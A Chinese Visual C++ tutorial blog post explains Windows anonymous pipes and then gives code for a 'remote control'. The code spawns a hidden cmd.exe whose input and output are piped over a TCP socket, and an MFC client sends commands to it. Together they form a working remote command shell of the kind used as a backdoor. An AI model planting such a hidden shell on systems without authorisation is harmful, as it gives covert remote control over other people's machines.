zoukankan      html  css  js  c++  java
  • 基于visual c++之windows核心编程代码分析(49)基于匿名管道实现远程控制

     匿名管道是一种未命名的、单向管道,通常用来在一个父进程和一个子进程之间传输数据。匿名的管道只能实现本地机器上两个进程间的通信,而不能实现跨网络的通信。

    匿名管道
         匿名管道是一种未命名的、单向管道。通常用来在父进程和子进程之间传输数据。匿名管道总是本地的,不能在网络之间传递数据。
    匿名管道操作
        CreatePipe函数创建一个匿名管道,并且返回两个句柄:一个读管道的句柄和一个写管道的句柄。读句柄具有管道的只读权限,写句柄具有管道的只写权 限。为了利用管道交换数据,管道服务端必须把管道句柄传给另一个进程。通常情况下,这是通过继承实现的(参见1.1.2);就是说,父进程允许子进程继承 这个句柄。进程也可以使用DuplicateHandle函数复制一个管道句柄,再通过一些进程间通信机制,比如DDE或者共享内存,把它发送给另一个不 相关的进程。
         管道服务端可以给管道服务端发送读句柄或者写句柄,这取决于客户端要用这个管道发送数据还是获取数据。要从管道读取数据,以管道的读句柄为参数调用 ReadFile函数。当另一个进程向管道写入数据是,ReadFile函数返回。如果管道的所有写句柄被关闭,或者读取数据时有错误发 生,ReadFile函数也会返回。
         要向管道写入数据,以管道的写句柄问参数,调用WriteFile函数。数据被完全写入管道,或者出错,WriteFile将会返回。如果管道的缓存已 满,且还有尚未写完的数据,直到另一个进程从管道读取数据前,WriteFile函数都不会返回。缓存的大小是在管道服务端调用CreatePipe函数 时指定的。
         匿名管道不支持异步读写。这意味着不能使用ReadFileEx和WriteFileEx函数读写匿名管道。另外,使用匿名管道时,ReadFile和WriteFile函数的lpOverlapped参数也会被忽略。
         匿名管道会一直存在,直到所有的读写句柄全部被关闭。进程可以调用CloseHandle函数关闭管道句柄。进程终止时,所有的管道句柄也会被自动关闭。
     
    双匿名管道实现通信

    #include <windows.h>
    #include <stdio.h>
    //双匿名管道实现写入读取
    int cmd_shell(SOCKET target)
    {	
    
    	STARTUPINFO g_stStartUp;
    	PROCESS_INFORMATION g_stProcInfo;
    	HANDLE reHandle1,wrHandle1;
    	HANDLE reHandle2,wrHandle2;
    	
    	char enter_key[2] = {0x0d,0x0a};
    	//填充SECURITY_ATTRIBUTES结构
    	SECURITY_ATTRIBUTES stSecurity;
    	
    	stSecurity.nLength = sizeof(SECURITY_ATTRIBUTES);
    	stSecurity.lpSecurityDescriptor = NULL;
    	stSecurity.bInheritHandle = TRUE;//继承性
    	//创建两个管道
    	CreatePipe(&reHandle1,&wrHandle1,&stSecurity,0);
    	CreatePipe(&reHandle2,&wrHandle2,&stSecurity,0);
    	//创建进程前填充STARTUPINFO结构
    	GetStartupInfo(&g_stStartUp);
    	g_stStartUp.hStdInput = reHandle1;
    	g_stStartUp.hStdOutput = wrHandle2;
    	g_stStartUp.hStdError = wrHandle2;
    	g_stStartUp.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    	g_stStartUp.wShowWindow = SW_HIDE;
    	//创建进程CreateProcess启动这个控制台应用程序、
    	if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS,NULL,NULL,&g_stStartUp,&g_stProcInfo))
    	{
    		DWORD bytes_read,bytes_write,ret;
    		char buf[512] = {0};
    		while(1)
    		{
    			memset(buf,'\0',512);
    			PeekNamedPipe(reHandle2,buf,512,&bytes_read,NULL,NULL);
    			if(bytes_read != 0)
    			{
    				ret = ReadFile(reHandle2,buf,bytes_read,&bytes_read,NULL);
    				send(target,buf,strlen(buf),0);
    				if(ret<=0)
    				{
    					fprintf(stderr,"error on pipe %d",GetLastError());break;
    				}
    				
    			}
    			else
    			{
    				bytes_read = recv(target,buf,512,0);
    				printf("%s",buf);
    				if(bytes_read<=0)
    				{
    					fprintf(stderr,"error %d",GetLastError());
    				}
    				WriteFile(wrHandle1,buf,strlen(buf),&bytes_write,NULL);
    				WriteFile(wrHandle1,enter_key,2,&bytes_write,NULL);
    				if(strcmp(buf,"exit") == 0)
    				{
    					send(target,"连接关闭",8,0);
    					break;
    				}
    			
    			}
    			
    		}
    		Sleep(10);
    	}
    	printf("now Closing\n");
    	CloseHandle(g_stProcInfo.hProcess);
    	CloseHandle(g_stProcInfo.hThread);
    	printf("now closing Pipe\n");
    	return 0;
    }
    

    远程控制客户端加入匿名管道通信

    #include "stdafx.h"
    #include "客户端.h"
    #include "客户端Dlg.h"
    #include <winsock.h>
    #pragma comment(lib,"ws2_32")
    DWORD WINAPI ServerThread(LPVOID lparam);
    DWORD WINAPI GoThread(LPVOID lparam);
    #ifdef _DEBUG
    #define new DEBUG_NEW
    #undef THIS_FILE
    static char THIS_FILE[] = __FILE__;
    #endif
    SOCKET server,client;
    SOCKADDR_IN serveraddr;
    char szGo[64];
    /////////////////////////////////////////////////////////////////////////////
    // CAboutDlg dialog used for App About
    
    class CAboutDlg : public CDialog
    {
    public:
    	CAboutDlg();
    
    // Dialog Data
    	//{{AFX_DATA(CAboutDlg)
    	enum { IDD = IDD_ABOUTBOX };
    	//}}AFX_DATA
    
    	// ClassWizard generated virtual function overrides
    	//{{AFX_VIRTUAL(CAboutDlg)
    	protected:
    	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support
    	//}}AFX_VIRTUAL
    
    // Implementation
    protected:
    	//{{AFX_MSG(CAboutDlg)
    	//}}AFX_MSG
    	DECLARE_MESSAGE_MAP()
    };
    
    CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
    {
    	//{{AFX_DATA_INIT(CAboutDlg)
    	//}}AFX_DATA_INIT
    }
    
    void CAboutDlg::DoDataExchange(CDataExchange* pDX)
    {
    	CDialog::DoDataExchange(pDX);
    	//{{AFX_DATA_MAP(CAboutDlg)
    	//}}AFX_DATA_MAP
    }
    
    BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
    	//{{AFX_MSG_MAP(CAboutDlg)
    		// No message handlers
    	//}}AFX_MSG_MAP
    END_MESSAGE_MAP()
    
    /////////////////////////////////////////////////////////////////////////////
    // CMyDlg dialog
    
    CMyDlg::CMyDlg(CWnd* pParent /*=NULL*/)
    	: CDialog(CMyDlg::IDD, pParent)
    {
    	//{{AFX_DATA_INIT(CMyDlg)
    	m_ipaddr = _T("");
    	m_port = 0;
    	//}}AFX_DATA_INIT
    	// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
    	m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
    }
    
    void CMyDlg::DoDataExchange(CDataExchange* pDX)
    {
    	CDialog::DoDataExchange(pDX);
    	//{{AFX_DATA_MAP(CMyDlg)
    	DDX_Text(pDX, IDC_IPADDR, m_ipaddr);
    	DDX_Text(pDX, IDC_PORT, m_port);
    	//}}AFX_DATA_MAP
    }
    
    BEGIN_MESSAGE_MAP(CMyDlg, CDialog)
    	//{{AFX_MSG_MAP(CMyDlg)
    	ON_WM_SYSCOMMAND()
    	ON_WM_PAINT()
    	ON_WM_QUERYDRAGICON()
    	ON_BN_CLICKED(IDC_CONNECT, OnConnect)
    	ON_BN_CLICKED(IDC_GO, OnGo)
    	ON_BN_CLICKED(IDC_CLEAR, OnClear)
    	//}}AFX_MSG_MAP
    END_MESSAGE_MAP()
    
    /////////////////////////////////////////////////////////////////////////////
    // CMyDlg message handlers
    
    BOOL CMyDlg::OnInitDialog()
    {
    	CDialog::OnInitDialog();
    
    	// Add "About..." menu item to system menu.
    
    	// IDM_ABOUTBOX must be in the system command range.
    	ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
    	ASSERT(IDM_ABOUTBOX < 0xF000);
    
    	CMenu* pSysMenu = GetSystemMenu(FALSE);
    	if (pSysMenu != NULL)
    	{
    		CString strAboutMenu;
    		strAboutMenu.LoadString(IDS_ABOUTBOX);
    		if (!strAboutMenu.IsEmpty())
    		{
    			pSysMenu->AppendMenu(MF_SEPARATOR);
    			pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
    		}
    	}
    
    	// Set the icon for this dialog.  The framework does this automatically
    	//  when the application's main window is not a dialog
    	SetIcon(m_hIcon, TRUE);			// Set big icon
    	SetIcon(m_hIcon, FALSE);		// Set small icon
    	
    	//初始化库
    	
    	SetDlgItemText(IDC_IPADDR,"127.0.0.1");
    	SetDlgItemText(IDC_PORT,"1234");
    	UpdateData(true);
    	WSADATA wsadata;
    	WORD word = MAKEWORD(2,2);
    	WSAStartup(word,&wsadata);
    	
    	
    
    
    	
    	
    	return TRUE;  // return TRUE  unless you set the focus to a control
    }
    
    void CMyDlg::OnSysCommand(UINT nID, LPARAM lParam)
    {
    	if ((nID & 0xFFF0) == IDM_ABOUTBOX)
    	{
    		CAboutDlg dlgAbout;
    		dlgAbout.DoModal();
    	}
    	else
    	{
    		CDialog::OnSysCommand(nID, lParam);
    	}
    }
    
    // If you add a minimize button to your dialog, you will need the code below
    //  to draw the icon.  For MFC applications using the document/view model,
    //  this is automatically done for you by the framework.
    
    void CMyDlg::OnPaint() 
    {
    	if (IsIconic())
    	{
    		CPaintDC dc(this); // device context for painting
    
    		SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
    
    		// Center icon in client rectangle
    		int cxIcon = GetSystemMetrics(SM_CXICON);
    		int cyIcon = GetSystemMetrics(SM_CYICON);
    		CRect rect;
    		GetClientRect(&rect);
    		int x = (rect.Width() - cxIcon + 1) / 2;
    		int y = (rect.Height() - cyIcon + 1) / 2;
    
    		// Draw the icon
    		dc.DrawIcon(x, y, m_hIcon);
    	}
    	else
    	{
    		CDialog::OnPaint();
    	}
    }
    
    // The system calls this to obtain the cursor to display while the user drags
    //  the minimized window.
    HCURSOR CMyDlg::OnQueryDragIcon()
    {
    	return (HCURSOR) m_hIcon;
    }
    
    void CMyDlg::OnConnect() 
    {
    	UpdateData(true);	
    	CreateThread(NULL,NULL,ServerThread,this,NULL,NULL);
    
    }
    DWORD WINAPI ServerThread(LPVOID lparam)
    {
    	CMyDlg *pDlg = (CMyDlg *)lparam;
    	
    
    	server = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    	
    	serveraddr.sin_family = AF_INET;
    	serveraddr.sin_port = htons(pDlg->m_port);
    	serveraddr.sin_addr.S_un.S_addr = inet_addr(pDlg->m_ipaddr);
    	client = connect(server,(SOCKADDR *)&serveraddr,sizeof(serveraddr));
    	if(client == SOCKET_ERROR)
    	{
    		MessageBox(NULL,"SORRY","连接出错",MB_OK);
    		return -1;
    	}
    	MessageBox(NULL,"CONGRATULATE!","连接成功",MB_OK);
    	pDlg->SetDlgItemText(IDC_INFO,"连接成功");
    	
    	char szRecv[1024];
    	CString str0,str1;
    	memset(szRecv,0,1024);
    	while(1)
    	{
    		
    		recv(server,szRecv,1024,0);
    		pDlg->GetDlgItemText(IDC_READ,str1);
    		str0 = szRecv;
    		str0 += "\r\n";
    		str0 += str1;
    		pDlg->SetDlgItemText(IDC_READ,str0);
    	}
    	return 0;
    }
    
    void CMyDlg::OnGo() 
    {
    	memset(szGo,0,64);
    	GetDlgItem(IDC_WRITE)->GetWindowTextA(szGo,64);
    	CreateThread(NULL,0,GoThread,this,NULL,NULL);
    
    }
    DWORD WINAPI GoThread(LPVOID lparam)
    {
    	CMyDlg *pDlg = (CMyDlg *)lparam;
    	
    	
    	char enter_key[2] = {0x0d,0x0a};
    	send(server,szGo,sizeof(szGo),0);
    	if(strcmp(szGo,"exit") == 0)
    	{
    		Sleep(100);
    		pDlg->SetDlgItemText(IDC_INFO,"未连接");
    		closesocket(server);
    		closesocket(client);
    		WSACleanup();
    		exit(0);
    	}
    	
    	return 0;
    }
    
    void CMyDlg::OnClear() 
    {
    	SetDlgItemText(IDC_READ,"");
    	
    }
    
    
    
    


     


     

  • 相关阅读:
    使用NBU进行oracle异机恢复
    mycat偶尔会出现JVM报错double free or corruption并崩溃退出
    exp导出数据时丢表
    service_names配置不正确,导致dg创建失败
    XML概念定义以及如何定义xml文件编写约束条件java解析xml DTD XML Schema JAXP java xml解析 dom4j 解析 xpath dom sax
    HTTP协议简介详解 HTTP协议发展 原理 请求方法 响应状态码 请求头 请求首部 java模拟浏览器客户端服务端
    java集合框架容器 java框架层级 继承图结构 集合框架的抽象类 集合框架主要实现类
    【JAVA集合框架一 】java集合框架官方介绍 Collections Framework Overview 集合框架总览 翻译 javase8 集合官方文档中文版
    java内部类深入详解 内部类的分类 特点 定义方式 使用
    再谈包访问权限 子类为何不能使用父类protected方法
  • 原文地址:https://www.cnblogs.com/new0801/p/6177776.html
Copyright © 2011-2022 走看看